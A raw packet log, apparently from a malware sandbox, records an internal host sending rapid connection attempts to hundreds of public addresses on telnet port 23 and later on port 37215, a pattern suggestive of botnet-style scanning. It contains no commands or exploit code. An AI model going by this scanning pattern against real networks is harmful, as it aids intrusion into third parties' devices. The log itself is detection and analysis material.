Jan 5, 2025 14:34:51.677248955 CET	29476	23	192.168.2.13	78.241.234.253
Jan 5, 2025 14:34:51.677251101 CET	23	29476	147.63.37.234	192.168.2.13
Jan 5, 2025 14:34:51.677249908 CET	29476	23	192.168.2.13	210.77.182.35
Jan 5, 2025 14:34:51.677254915 CET	29476	23	192.168.2.13	151.158.125.186
Jan 5, 2025 14:34:51.677259922 CET	23	29476	82.1.247.149	192.168.2.13
Jan 5, 2025 14:34:51.677263021 CET	29476	23	192.168.2.13	195.10.30.101
Jan 5, 2025 14:34:51.677272081 CET	29476	23	192.168.2.13	76.186.174.152
Jan 5, 2025 14:34:51.677315950 CET	29476	23	192.168.2.13	147.63.37.234
Jan 5, 2025 14:34:51.677357912 CET	29476	23	192.168.2.13	82.1.247.149
Jan 5, 2025 14:34:51.677412033 CET	23	29476	184.205.148.51	192.168.2.13
Jan 5, 2025 14:34:51.677422047 CET	23	29476	112.7.14.7	192.168.2.13
Jan 5, 2025 14:34:51.677431107 CET	23	29476	212.35.195.23	192.168.2.13
Jan 5, 2025 14:34:51.677439928 CET	23	29476	203.13.241.185	192.168.2.13
Jan 5, 2025 14:34:51.677449942 CET	23	29476	115.251.163.218	192.168.2.13
Jan 5, 2025 14:34:51.677453041 CET	29476	23	192.168.2.13	184.205.148.51
Jan 5, 2025 14:34:51.677455902 CET	29476	23	192.168.2.13	112.7.14.7
Jan 5, 2025 14:34:51.677457094 CET	29476	23	192.168.2.13	212.35.195.23
Jan 5, 2025 14:34:51.677459002 CET	23	29476	139.73.218.184	192.168.2.13
Jan 5, 2025 14:34:51.677464962 CET	29476	23	192.168.2.13	203.13.241.185
Jan 5, 2025 14:34:51.677469015 CET	23	29476	183.23.143.107	192.168.2.13
Jan 5, 2025 14:34:51.677478075 CET	23	29476	72.117.64.219	192.168.2.13
Jan 5, 2025 14:34:51.677480936 CET	29476	23	192.168.2.13	115.251.163.218
Jan 5, 2025 14:34:51.677481890 CET	29476	23	192.168.2.13	139.73.218.184
Jan 5, 2025 14:34:51.677485943 CET	23	29476	176.64.143.233	192.168.2.13
Jan 5, 2025 14:34:51.677495003 CET	23	29476	192.79.130.246	192.168.2.13
Jan 5, 2025 14:34:51.677504063 CET	23	29476	180.213.56.52	192.168.2.13
Jan 5, 2025 14:34:51.677512884 CET	23	29476	86.121.217.223	192.168.2.13
Jan 5, 2025 14:34:51.677521944 CET	23	29476	83.250.161.151	192.168.2.13
Jan 5, 2025 14:34:51.677531004 CET	23	29476	70.200.213.54	192.168.2.13
Jan 5, 2025 14:34:51.677531958 CET	29476	23	192.168.2.13	72.117.64.219
Jan 5, 2025 14:34:51.677541018 CET	23	29476	98.81.31.158	192.168.2.13
Jan 5, 2025 14:34:51.677551031 CET	23	29476	123.98.25.248	192.168.2.13
Jan 5, 2025 14:34:51.677561045 CET	23	29476	92.25.106.210	192.168.2.13
Jan 5, 2025 14:34:51.677570105 CET	23	29476	12.20.241.68	192.168.2.13
Jan 5, 2025 14:34:51.677578926 CET	23	29476	64.160.194.27	192.168.2.13
Jan 5, 2025 14:34:51.677582979 CET	29476	23	192.168.2.13	183.23.143.107
Jan 5, 2025 14:34:51.677582979 CET	29476	23	192.168.2.13	176.64.143.233
Jan 5, 2025 14:34:51.677583933 CET	29476	23	192.168.2.13	86.121.217.223
Jan 5, 2025 14:34:51.677587032 CET	29476	23	192.168.2.13	192.79.130.246
Jan 5, 2025 14:34:51.677587032 CET	29476	23	192.168.2.13	180.213.56.52
Jan 5, 2025 14:34:51.677587032 CET	23	29476	44.194.205.103	192.168.2.13
Jan 5, 2025 14:34:51.677596092 CET	23	29476	23.203.93.158	192.168.2.13
Jan 5, 2025 14:34:51.677598953 CET	29476	23	192.168.2.13	12.20.241.68
Jan 5, 2025 14:34:51.677599907 CET	29476	23	192.168.2.13	123.98.25.248
Jan 5, 2025 14:34:51.677599907 CET	29476	23	192.168.2.13	83.250.161.151
Jan 5, 2025 14:34:51.677599907 CET	29476	23	192.168.2.13	98.81.31.158
Jan 5, 2025 14:34:51.677603006 CET	29476	23	192.168.2.13	92.25.106.210
Jan 5, 2025 14:34:51.677602053 CET	29476	23	192.168.2.13	64.160.194.27
Jan 5, 2025 14:34:51.677603960 CET	29476	23	192.168.2.13	70.200.213.54
Jan 5, 2025 14:34:51.677607059 CET	23	29476	220.148.198.38	192.168.2.13
Jan 5, 2025 14:34:51.677614927 CET	29476	23	192.168.2.13	44.194.205.103
Jan 5, 2025 14:34:51.677620888 CET	23	29476	123.172.210.132	192.168.2.13
Jan 5, 2025 14:34:51.677623034 CET	29476	23	192.168.2.13	23.203.93.158
Jan 5, 2025 14:34:51.677630901 CET	23	29476	9.86.171.161	192.168.2.13
Jan 5, 2025 14:34:51.677640915 CET	23	29476	49.100.164.248	192.168.2.13
Jan 5, 2025 14:34:51.677649021 CET	23	29476	88.149.66.122	192.168.2.13
Jan 5, 2025 14:34:51.677653074 CET	23	29476	60.216.80.239	192.168.2.13
Jan 5, 2025 14:34:51.677664042 CET	29476	23	192.168.2.13	123.172.210.132
Jan 5, 2025 14:34:51.677679062 CET	23	29476	216.22.212.79	192.168.2.13
Jan 5, 2025 14:34:51.677696943 CET	23	29476	182.229.148.36	192.168.2.13
Jan 5, 2025 14:34:51.677706957 CET	23	29476	179.234.96.20	192.168.2.13
Jan 5, 2025 14:34:51.677716017 CET	23	29476	223.157.122.150	192.168.2.13
Jan 5, 2025 14:34:51.677717924 CET	29476	23	192.168.2.13	9.86.171.161
Jan 5, 2025 14:34:51.677717924 CET	29476	23	192.168.2.13	49.100.164.248
Jan 5, 2025 14:34:51.677725077 CET	23	29476	47.130.110.105	192.168.2.13
Jan 5, 2025 14:34:51.677728891 CET	23	29476	140.198.9.42	192.168.2.13
Jan 5, 2025 14:34:51.677728891 CET	29476	23	192.168.2.13	220.148.198.38
Jan 5, 2025 14:34:51.677730083 CET	29476	23	192.168.2.13	60.216.80.239
Jan 5, 2025 14:34:51.677728891 CET	29476	23	192.168.2.13	216.22.212.79
Jan 5, 2025 14:34:51.677728891 CET	29476	23	192.168.2.13	182.229.148.36
Jan 5, 2025 14:34:51.677735090 CET	29476	23	192.168.2.13	88.149.66.122
Jan 5, 2025 14:34:51.677736044 CET	29476	23	192.168.2.13	179.234.96.20
Jan 5, 2025 14:34:51.677737951 CET	23	29476	172.193.234.126	192.168.2.13
Jan 5, 2025 14:34:51.677747965 CET	23	29476	184.121.201.221	192.168.2.13
Jan 5, 2025 14:34:51.677751064 CET	29476	23	192.168.2.13	223.157.122.150
Jan 5, 2025 14:34:51.677752018 CET	29476	23	192.168.2.13	140.198.9.42
Jan 5, 2025 14:34:51.677757978 CET	23	29476	219.133.106.20	192.168.2.13
Jan 5, 2025 14:34:51.677762985 CET	29476	23	192.168.2.13	47.130.110.105
Jan 5, 2025 14:34:51.677772045 CET	29476	23	192.168.2.13	172.193.234.126
Jan 5, 2025 14:34:51.677773952 CET	29476	23	192.168.2.13	184.121.201.221
Jan 5, 2025 14:34:51.677803040 CET	23	29476	38.241.49.131	192.168.2.13
Jan 5, 2025 14:34:51.677820921 CET	23	29476	115.80.61.173	192.168.2.13
Jan 5, 2025 14:34:51.677822113 CET	29476	23	192.168.2.13	219.133.106.20
Jan 5, 2025 14:34:51.677829981 CET	23	29476	163.64.136.160	192.168.2.13
Jan 5, 2025 14:34:51.677839041 CET	23	29476	202.20.44.139	192.168.2.13
Jan 5, 2025 14:34:51.677849054 CET	23	29476	101.46.235.252	192.168.2.13
Jan 5, 2025 14:34:51.677858114 CET	23	29476	70.186.57.228	192.168.2.13
Jan 5, 2025 14:34:51.677867889 CET	23	29476	41.244.10.237	192.168.2.13
Jan 5, 2025 14:34:51.677867889 CET	29476	23	192.168.2.13	38.241.49.131
Jan 5, 2025 14:34:51.677870035 CET	29476	23	192.168.2.13	163.64.136.160
Jan 5, 2025 14:34:51.677876949 CET	23	29476	189.64.130.15	192.168.2.13
Jan 5, 2025 14:34:51.677880049 CET	29476	23	192.168.2.13	115.80.61.173
Jan 5, 2025 14:34:51.677881956 CET	29476	23	192.168.2.13	70.186.57.228
Jan 5, 2025 14:34:51.677884102 CET	29476	23	192.168.2.13	101.46.235.252
Jan 5, 2025 14:34:51.677884102 CET	29476	23	192.168.2.13	202.20.44.139
Jan 5, 2025 14:34:51.677886009 CET	23	29476	200.6.52.177	192.168.2.13
Jan 5, 2025 14:34:51.677896023 CET	29476	23	192.168.2.13	41.244.10.237
Jan 5, 2025 14:34:51.677900076 CET	23	29476	87.129.172.193	192.168.2.13
Jan 5, 2025 14:34:51.677898884 CET	29476	23	192.168.2.13	189.64.130.15
Jan 5, 2025 14:34:51.677911043 CET	23	29476	37.24.121.198	192.168.2.13
Jan 5, 2025 14:34:51.677915096 CET	29476	23	192.168.2.13	200.6.52.177
Jan 5, 2025 14:34:51.677920103 CET	23	29476	167.7.161.174	192.168.2.13
Jan 5, 2025 14:34:51.677928925 CET	23	29476	122.124.37.210	192.168.2.13
Jan 5, 2025 14:34:51.677938938 CET	23	29476	158.240.40.225	192.168.2.13
Jan 5, 2025 14:34:51.677947998 CET	23	29476	37.57.220.199	192.168.2.13
Jan 5, 2025 14:34:51.677957058 CET	23	29476	159.213.60.209	192.168.2.13
Jan 5, 2025 14:34:51.677961111 CET	23	29476	14.233.9.42	192.168.2.13
Jan 5, 2025 14:34:51.677964926 CET	23	29476	17.248.8.195	192.168.2.13
Jan 5, 2025 14:34:51.677967072 CET	29476	23	192.168.2.13	87.129.172.193
Jan 5, 2025 14:34:51.677968025 CET	29476	23	192.168.2.13	167.7.161.174
Jan 5, 2025 14:34:51.677968979 CET	23	29476	39.129.165.186	192.168.2.13
Jan 5, 2025 14:34:51.677970886 CET	29476	23	192.168.2.13	37.24.121.198
Jan 5, 2025 14:34:51.677970886 CET	29476	23	192.168.2.13	122.124.37.210
Jan 5, 2025 14:34:51.677973986 CET	23	29476	17.73.218.228	192.168.2.13
Jan 5, 2025 14:34:51.677983046 CET	29476	23	192.168.2.13	158.240.40.225
Jan 5, 2025 14:34:51.678035021 CET	29476	23	192.168.2.13	37.57.220.199
Jan 5, 2025 14:34:51.678035975 CET	29476	23	192.168.2.13	39.129.165.186
Jan 5, 2025 14:34:51.678035975 CET	29476	23	192.168.2.13	14.233.9.42
Jan 5, 2025 14:34:51.678040028 CET	29476	23	192.168.2.13	159.213.60.209
Jan 5, 2025 14:34:51.678040028 CET	29476	23	192.168.2.13	17.248.8.195
Jan 5, 2025 14:34:51.678045034 CET	29476	23	192.168.2.13	17.73.218.228
Jan 5, 2025 14:34:51.678195953 CET	23	29476	12.198.241.161	192.168.2.13
Jan 5, 2025 14:34:51.678205967 CET	23	29476	130.131.220.40	192.168.2.13
Jan 5, 2025 14:34:51.678215981 CET	23	29476	61.156.17.167	192.168.2.13
Jan 5, 2025 14:34:51.678220987 CET	29476	23	192.168.2.13	12.198.241.161
Jan 5, 2025 14:34:51.678225040 CET	23	29476	37.150.219.125	192.168.2.13
Jan 5, 2025 14:34:51.678231955 CET	29476	23	192.168.2.13	130.131.220.40
Jan 5, 2025 14:34:51.678235054 CET	23	29476	162.25.230.192	192.168.2.13
Jan 5, 2025 14:34:51.678244114 CET	23	29476	13.218.0.197	192.168.2.13
Jan 5, 2025 14:34:51.678256035 CET	23	29476	118.128.117.77	192.168.2.13
Jan 5, 2025 14:34:51.678265095 CET	23	29476	2.61.158.185	192.168.2.13
Jan 5, 2025 14:34:51.678273916 CET	23	29476	63.155.153.203	192.168.2.13
Jan 5, 2025 14:34:51.678282022 CET	23	29476	92.166.58.127	192.168.2.13
Jan 5, 2025 14:34:51.678291082 CET	23	29476	43.27.37.160	192.168.2.13
Jan 5, 2025 14:34:51.678299904 CET	23	29476	132.8.132.89	192.168.2.13
Jan 5, 2025 14:34:51.678308010 CET	23	29476	9.251.90.185	192.168.2.13
Jan 5, 2025 14:34:51.678317070 CET	23	29476	181.106.175.50	192.168.2.13
Jan 5, 2025 14:34:51.678325891 CET	23	29476	199.29.155.87	192.168.2.13
Jan 5, 2025 14:34:51.678327084 CET	29476	23	192.168.2.13	63.155.153.203
Jan 5, 2025 14:34:51.678327084 CET	29476	23	192.168.2.13	43.27.37.160
Jan 5, 2025 14:34:51.678330898 CET	29476	23	192.168.2.13	61.156.17.167
Jan 5, 2025 14:34:51.678330898 CET	29476	23	192.168.2.13	37.150.219.125
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	2.61.158.185
Jan 5, 2025 14:34:51.678334951 CET	23	29476	52.98.119.244	192.168.2.13
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	162.25.230.192
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	92.166.58.127
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	13.218.0.197
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	118.128.117.77
Jan 5, 2025 14:34:51.678337097 CET	29476	23	192.168.2.13	9.251.90.185
Jan 5, 2025 14:34:51.678334951 CET	29476	23	192.168.2.13	132.8.132.89
Jan 5, 2025 14:34:51.678337097 CET	29476	23	192.168.2.13	181.106.175.50
Jan 5, 2025 14:34:51.678348064 CET	23	29476	40.74.111.71	192.168.2.13
Jan 5, 2025 14:34:51.678354025 CET	29476	23	192.168.2.13	199.29.155.87
Jan 5, 2025 14:34:51.678356886 CET	23	29476	147.165.36.189	192.168.2.13
Jan 5, 2025 14:34:51.678364992 CET	29476	23	192.168.2.13	52.98.119.244
Jan 5, 2025 14:34:51.678366899 CET	23	29476	45.216.63.128	192.168.2.13
Jan 5, 2025 14:34:51.678376913 CET	23	29476	107.186.213.250	192.168.2.13
Jan 5, 2025 14:34:51.678379059 CET	29476	23	192.168.2.13	147.165.36.189
Jan 5, 2025 14:34:51.678379059 CET	29476	23	192.168.2.13	40.74.111.71
Jan 5, 2025 14:34:51.678385973 CET	23	29476	60.227.196.185	192.168.2.13
Jan 5, 2025 14:34:51.678394079 CET	23	29476	115.66.34.254	192.168.2.13
Jan 5, 2025 14:34:51.678399086 CET	29476	23	192.168.2.13	45.216.63.128
Jan 5, 2025 14:34:51.678405046 CET	23	29476	196.26.160.163	192.168.2.13
Jan 5, 2025 14:34:51.678406000 CET	29476	23	192.168.2.13	107.186.213.250
Jan 5, 2025 14:34:51.678416014 CET	23	29476	48.188.32.125	192.168.2.13
Jan 5, 2025 14:34:51.678420067 CET	29476	23	192.168.2.13	115.66.34.254
Jan 5, 2025 14:34:51.678421974 CET	29476	23	192.168.2.13	60.227.196.185
Jan 5, 2025 14:34:51.678423882 CET	23	29476	39.137.239.138	192.168.2.13
Jan 5, 2025 14:34:51.678428888 CET	29476	23	192.168.2.13	196.26.160.163
Jan 5, 2025 14:34:51.678435087 CET	23	29476	177.229.240.144	192.168.2.13
Jan 5, 2025 14:34:51.678443909 CET	23	29476	211.188.61.31	192.168.2.13
Jan 5, 2025 14:34:51.678447962 CET	29476	23	192.168.2.13	48.188.32.125
Jan 5, 2025 14:34:51.678448915 CET	29476	23	192.168.2.13	39.137.239.138
Jan 5, 2025 14:34:51.678452969 CET	23	29476	31.63.163.75	192.168.2.13
Jan 5, 2025 14:34:51.678531885 CET	29476	23	192.168.2.13	31.63.163.75
Jan 5, 2025 14:34:51.678533077 CET	29476	23	192.168.2.13	211.188.61.31
Jan 5, 2025 14:34:51.678539038 CET	29476	23	192.168.2.13	177.229.240.144
Jan 5, 2025 14:34:51.678565025 CET	23	29476	2.93.20.240	192.168.2.13
Jan 5, 2025 14:34:51.678575993 CET	23	29476	104.141.74.208	192.168.2.13
Jan 5, 2025 14:34:51.678585052 CET	23	29476	59.82.157.97	192.168.2.13
Jan 5, 2025 14:34:51.678595066 CET	23	29476	185.61.109.215	192.168.2.13
Jan 5, 2025 14:34:51.678603888 CET	29476	23	192.168.2.13	104.141.74.208
Jan 5, 2025 14:34:51.678605080 CET	29476	23	192.168.2.13	2.93.20.240
Jan 5, 2025 14:34:51.678605080 CET	23	29476	134.219.109.207	192.168.2.13
Jan 5, 2025 14:34:51.678616047 CET	23	29476	132.237.60.115	192.168.2.13
Jan 5, 2025 14:34:51.678621054 CET	29476	23	192.168.2.13	59.82.157.97
Jan 5, 2025 14:34:51.678625107 CET	23	29476	203.188.60.17	192.168.2.13
Jan 5, 2025 14:34:51.678628922 CET	29476	23	192.168.2.13	185.61.109.215
Jan 5, 2025 14:34:51.678633928 CET	23	29476	13.239.93.95	192.168.2.13
Jan 5, 2025 14:34:51.678642035 CET	29476	23	192.168.2.13	134.219.109.207
Jan 5, 2025 14:34:51.678642035 CET	29476	23	192.168.2.13	132.237.60.115
Jan 5, 2025 14:34:51.678646088 CET	23	29476	135.110.132.219	192.168.2.13
Jan 5, 2025 14:34:51.678656101 CET	23	29476	154.85.202.101	192.168.2.13
Jan 5, 2025 14:34:51.678656101 CET	29476	23	192.168.2.13	203.188.60.17
Jan 5, 2025 14:34:51.678664923 CET	23	29476	187.129.58.5	192.168.2.13
Jan 5, 2025 14:34:51.678673983 CET	23	29476	217.164.11.231	192.168.2.13
Jan 5, 2025 14:34:51.678683043 CET	23	29476	194.251.116.216	192.168.2.13
Jan 5, 2025 14:34:51.678690910 CET	23	29476	93.230.153.145	192.168.2.13
Jan 5, 2025 14:34:51.678700924 CET	23	29476	123.11.25.163	192.168.2.13
Jan 5, 2025 14:34:51.678704977 CET	29476	23	192.168.2.13	135.110.132.219
Jan 5, 2025 14:34:51.678704977 CET	29476	23	192.168.2.13	13.239.93.95
Jan 5, 2025 14:34:51.678704977 CET	29476	23	192.168.2.13	217.164.11.231
Jan 5, 2025 14:34:51.678704977 CET	29476	23	192.168.2.13	154.85.202.101
Jan 5, 2025 14:34:51.678704977 CET	29476	23	192.168.2.13	187.129.58.5
Jan 5, 2025 14:34:51.678709984 CET	23	29476	118.162.29.91	192.168.2.13
Jan 5, 2025 14:34:51.678719044 CET	23	29476	44.15.148.20	192.168.2.13
Jan 5, 2025 14:34:51.678728104 CET	23	29476	54.149.2.19	192.168.2.13
Jan 5, 2025 14:34:51.678736925 CET	23	29476	95.184.228.234	192.168.2.13
Jan 5, 2025 14:34:51.678745985 CET	23	29476	171.58.251.219	192.168.2.13
Jan 5, 2025 14:34:51.678755045 CET	23	29476	136.251.237.126	192.168.2.13
Jan 5, 2025 14:34:51.678762913 CET	23	29476	83.60.98.50	192.168.2.13
Jan 5, 2025 14:34:51.678766966 CET	29476	23	192.168.2.13	194.251.116.216
Jan 5, 2025 14:34:51.678766966 CET	29476	23	192.168.2.13	118.162.29.91
Jan 5, 2025 14:34:51.678769112 CET	29476	23	192.168.2.13	54.149.2.19
Jan 5, 2025 14:34:51.678771973 CET	29476	23	192.168.2.13	95.184.228.234
Jan 5, 2025 14:34:51.678771973 CET	29476	23	192.168.2.13	93.230.153.145
Jan 5, 2025 14:34:51.678772926 CET	23	29476	171.208.169.247	192.168.2.13
Jan 5, 2025 14:34:51.678775072 CET	29476	23	192.168.2.13	123.11.25.163
Jan 5, 2025 14:34:51.678775072 CET	29476	23	192.168.2.13	44.15.148.20
Jan 5, 2025 14:34:51.678776979 CET	29476	23	192.168.2.13	171.58.251.219
Jan 5, 2025 14:34:51.678776979 CET	29476	23	192.168.2.13	136.251.237.126
Jan 5, 2025 14:34:51.678791046 CET	23	29476	110.132.185.139	192.168.2.13
Jan 5, 2025 14:34:51.678796053 CET	29476	23	192.168.2.13	83.60.98.50
Jan 5, 2025 14:34:51.678800106 CET	23	29476	73.133.131.197	192.168.2.13
Jan 5, 2025 14:34:51.678802967 CET	29476	23	192.168.2.13	171.208.169.247
Jan 5, 2025 14:34:51.678811073 CET	23	29476	155.40.223.68	192.168.2.13
Jan 5, 2025 14:34:51.678843975 CET	23	29476	147.182.250.242	192.168.2.13
Jan 5, 2025 14:34:51.678853989 CET	23	29476	27.214.183.243	192.168.2.13
Jan 5, 2025 14:34:51.678864956 CET	23	29476	114.155.76.186	192.168.2.13
Jan 5, 2025 14:34:51.678874016 CET	23	29476	52.78.19.247	192.168.2.13
Jan 5, 2025 14:34:51.678879023 CET	29476	23	192.168.2.13	110.132.185.139
Jan 5, 2025 14:34:51.678883076 CET	23	29476	58.199.229.157	192.168.2.13
Jan 5, 2025 14:34:51.678900003 CET	29476	23	192.168.2.13	114.155.76.186
Jan 5, 2025 14:34:51.678900957 CET	29476	23	192.168.2.13	73.133.131.197
Jan 5, 2025 14:34:51.678900957 CET	29476	23	192.168.2.13	155.40.223.68
Jan 5, 2025 14:34:51.678905964 CET	29476	23	192.168.2.13	147.182.250.242
Jan 5, 2025 14:34:51.678909063 CET	29476	23	192.168.2.13	58.199.229.157
Jan 5, 2025 14:34:51.678911924 CET	29476	23	192.168.2.13	27.214.183.243
Jan 5, 2025 14:34:51.678911924 CET	29476	23	192.168.2.13	52.78.19.247
Jan 5, 2025 14:34:51.678922892 CET	23	29476	221.224.41.91	192.168.2.13
Jan 5, 2025 14:34:51.678935051 CET	23	29476	107.143.113.48	192.168.2.13
Jan 5, 2025 14:34:51.678944111 CET	23	29476	207.163.50.58	192.168.2.13
Jan 5, 2025 14:34:51.678952932 CET	23	29476	31.10.244.175	192.168.2.13
Jan 5, 2025 14:34:51.678956985 CET	23	29476	194.110.153.185	192.168.2.13
Jan 5, 2025 14:34:51.678960085 CET	29476	23	192.168.2.13	221.224.41.91
Jan 5, 2025 14:34:51.678966045 CET	23	29476	184.75.65.167	192.168.2.13
Jan 5, 2025 14:34:51.678972960 CET	29476	23	192.168.2.13	107.143.113.48
Jan 5, 2025 14:34:51.678973913 CET	23	29476	4.113.192.203	192.168.2.13
Jan 5, 2025 14:34:51.678983927 CET	23	29476	91.79.96.197	192.168.2.13
Jan 5, 2025 14:34:51.678999901 CET	23	29476	8.7.213.105	192.168.2.13
Jan 5, 2025 14:34:51.679009914 CET	23	29476	130.221.134.108	192.168.2.13
Jan 5, 2025 14:34:51.679009914 CET	29476	23	192.168.2.13	207.163.50.58
Jan 5, 2025 14:34:51.679018974 CET	23	29476	54.96.214.175	192.168.2.13
Jan 5, 2025 14:34:51.679020882 CET	29476	23	192.168.2.13	194.110.153.185
Jan 5, 2025 14:34:51.679023027 CET	29476	23	192.168.2.13	31.10.244.175
Jan 5, 2025 14:34:51.679023027 CET	29476	23	192.168.2.13	4.113.192.203
Jan 5, 2025 14:34:51.679023027 CET	29476	23	192.168.2.13	184.75.65.167
Jan 5, 2025 14:34:51.679023027 CET	29476	23	192.168.2.13	91.79.96.197
Jan 5, 2025 14:34:51.679028988 CET	23	29476	40.9.7.189	192.168.2.13
Jan 5, 2025 14:34:51.679039001 CET	23	29476	43.244.72.201	192.168.2.13
Jan 5, 2025 14:34:51.679048061 CET	29476	23	192.168.2.13	8.7.213.105
Jan 5, 2025 14:34:51.679048061 CET	29476	23	192.168.2.13	130.221.134.108
Jan 5, 2025 14:34:51.679049015 CET	23	29476	92.251.124.11	192.168.2.13
Jan 5, 2025 14:34:51.679056883 CET	23	29476	174.79.133.83	192.168.2.13
Jan 5, 2025 14:34:51.679065943 CET	23	29476	160.197.116.46	192.168.2.13
Jan 5, 2025 14:34:51.679069996 CET	23	29476	219.250.104.145	192.168.2.13
Jan 5, 2025 14:34:51.679070950 CET	29476	23	192.168.2.13	54.96.214.175
Jan 5, 2025 14:34:51.679070950 CET	29476	23	192.168.2.13	40.9.7.189
Jan 5, 2025 14:34:51.679070950 CET	29476	23	192.168.2.13	43.244.72.201
Jan 5, 2025 14:34:51.679079056 CET	23	29476	149.119.120.188	192.168.2.13
Jan 5, 2025 14:34:51.679090023 CET	23	29476	166.1.111.113	192.168.2.13
Jan 5, 2025 14:34:51.679097891 CET	29476	23	192.168.2.13	92.251.124.11
Jan 5, 2025 14:34:51.679100037 CET	23	29476	25.61.124.154	192.168.2.13
Jan 5, 2025 14:34:51.679111004 CET	23	29476	161.205.209.107	192.168.2.13
Jan 5, 2025 14:34:51.679121017 CET	23	29476	77.231.74.108	192.168.2.13
Jan 5, 2025 14:34:51.679151058 CET	29476	23	192.168.2.13	219.250.104.145
Jan 5, 2025 14:34:51.679151058 CET	29476	23	192.168.2.13	160.197.116.46
Jan 5, 2025 14:34:51.679153919 CET	29476	23	192.168.2.13	174.79.133.83
Jan 5, 2025 14:34:51.679157019 CET	29476	23	192.168.2.13	161.205.209.107
Jan 5, 2025 14:34:51.679157019 CET	29476	23	192.168.2.13	77.231.74.108
Jan 5, 2025 14:34:51.679158926 CET	29476	23	192.168.2.13	149.119.120.188
Jan 5, 2025 14:34:51.679163933 CET	29476	23	192.168.2.13	166.1.111.113
Jan 5, 2025 14:34:51.679167986 CET	29476	23	192.168.2.13	25.61.124.154
Jan 5, 2025 14:34:51.679440975 CET	23	29476	178.150.78.239	192.168.2.13
Jan 5, 2025 14:34:51.679451942 CET	23	29476	174.107.192.47	192.168.2.13
Jan 5, 2025 14:34:51.679461002 CET	23	29476	170.118.0.203	192.168.2.13
Jan 5, 2025 14:34:51.679470062 CET	23	29476	116.9.229.58	192.168.2.13
Jan 5, 2025 14:34:51.679490089 CET	29476	23	192.168.2.13	178.150.78.239
Jan 5, 2025 14:34:51.679490089 CET	29476	23	192.168.2.13	174.107.192.47
Jan 5, 2025 14:34:51.679490089 CET	29476	23	192.168.2.13	170.118.0.203
Jan 5, 2025 14:34:51.679502010 CET	29476	23	192.168.2.13	116.9.229.58
Jan 5, 2025 14:34:51.690998077 CET	57796	23	192.168.2.13	83.35.249.211
Jan 5, 2025 14:34:51.695998907 CET	23	57796	83.35.249.211	192.168.2.13
Jan 5, 2025 14:34:51.696093082 CET	57796	23	192.168.2.13	83.35.249.211
Jan 5, 2025 14:34:51.712618113 CET	29479	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:51.712650061 CET	29479	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:51.712804079 CET	29479	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:51.712831974 CET	29479	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:51.712857008 CET	29479	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:51.712928057 CET	29479	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:51.712958097 CET	29479	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:51.712958097 CET	29479	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:51.712959051 CET	29479	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:51.712959051 CET	29479	37215	192.168.2.13	156.108.75.55
Jan 5, 2025 14:34:51.712960005 CET	29479	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:51.712960958 CET	29479	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:51.712995052 CET	29479	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:51.712995052 CET	29479	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:51.712995052 CET	29479	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:51.712996006 CET	29479	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:51.712995052 CET	29479	37215	192.168.2.13	41.19.166.133
Jan 5, 2025 14:34:51.712995052 CET	29479	37215	192.168.2.13	41.8.30.91
Jan 5, 2025 14:34:51.712997913 CET	29479	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:51.712997913 CET	29479	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:51.712997913 CET	29479	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:51.712997913 CET	29479	37215	192.168.2.13	197.199.121.75
Jan 5, 2025 14:34:51.712999105 CET	29479	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:51.713000059 CET	29479	37215	192.168.2.13	197.60.138.82
Jan 5, 2025 14:34:51.713000059 CET	29479	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:51.713021040 CET	29479	37215	192.168.2.13	156.88.155.128
Jan 5, 2025 14:34:51.713023901 CET	29479	37215	192.168.2.13	156.255.139.215
Jan 5, 2025 14:34:51.713026047 CET	29479	37215	192.168.2.13	197.96.31.0
Jan 5, 2025 14:34:51.713030100 CET	29479	37215	192.168.2.13	41.254.75.15
Jan 5, 2025 14:34:51.713030100 CET	29479	37215	192.168.2.13	41.172.224.67
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	41.182.70.62
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	156.126.78.211
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	156.233.138.121
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	156.195.230.243
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	41.232.203.93
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	41.36.170.30
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	197.247.78.82
Jan 5, 2025 14:34:51.713032007 CET	29479	37215	192.168.2.13	41.214.12.69
Jan 5, 2025 14:34:51.713038921 CET	29479	37215	192.168.2.13	156.29.56.92
Jan 5, 2025 14:34:51.713038921 CET	29479	37215	192.168.2.13	41.200.188.11
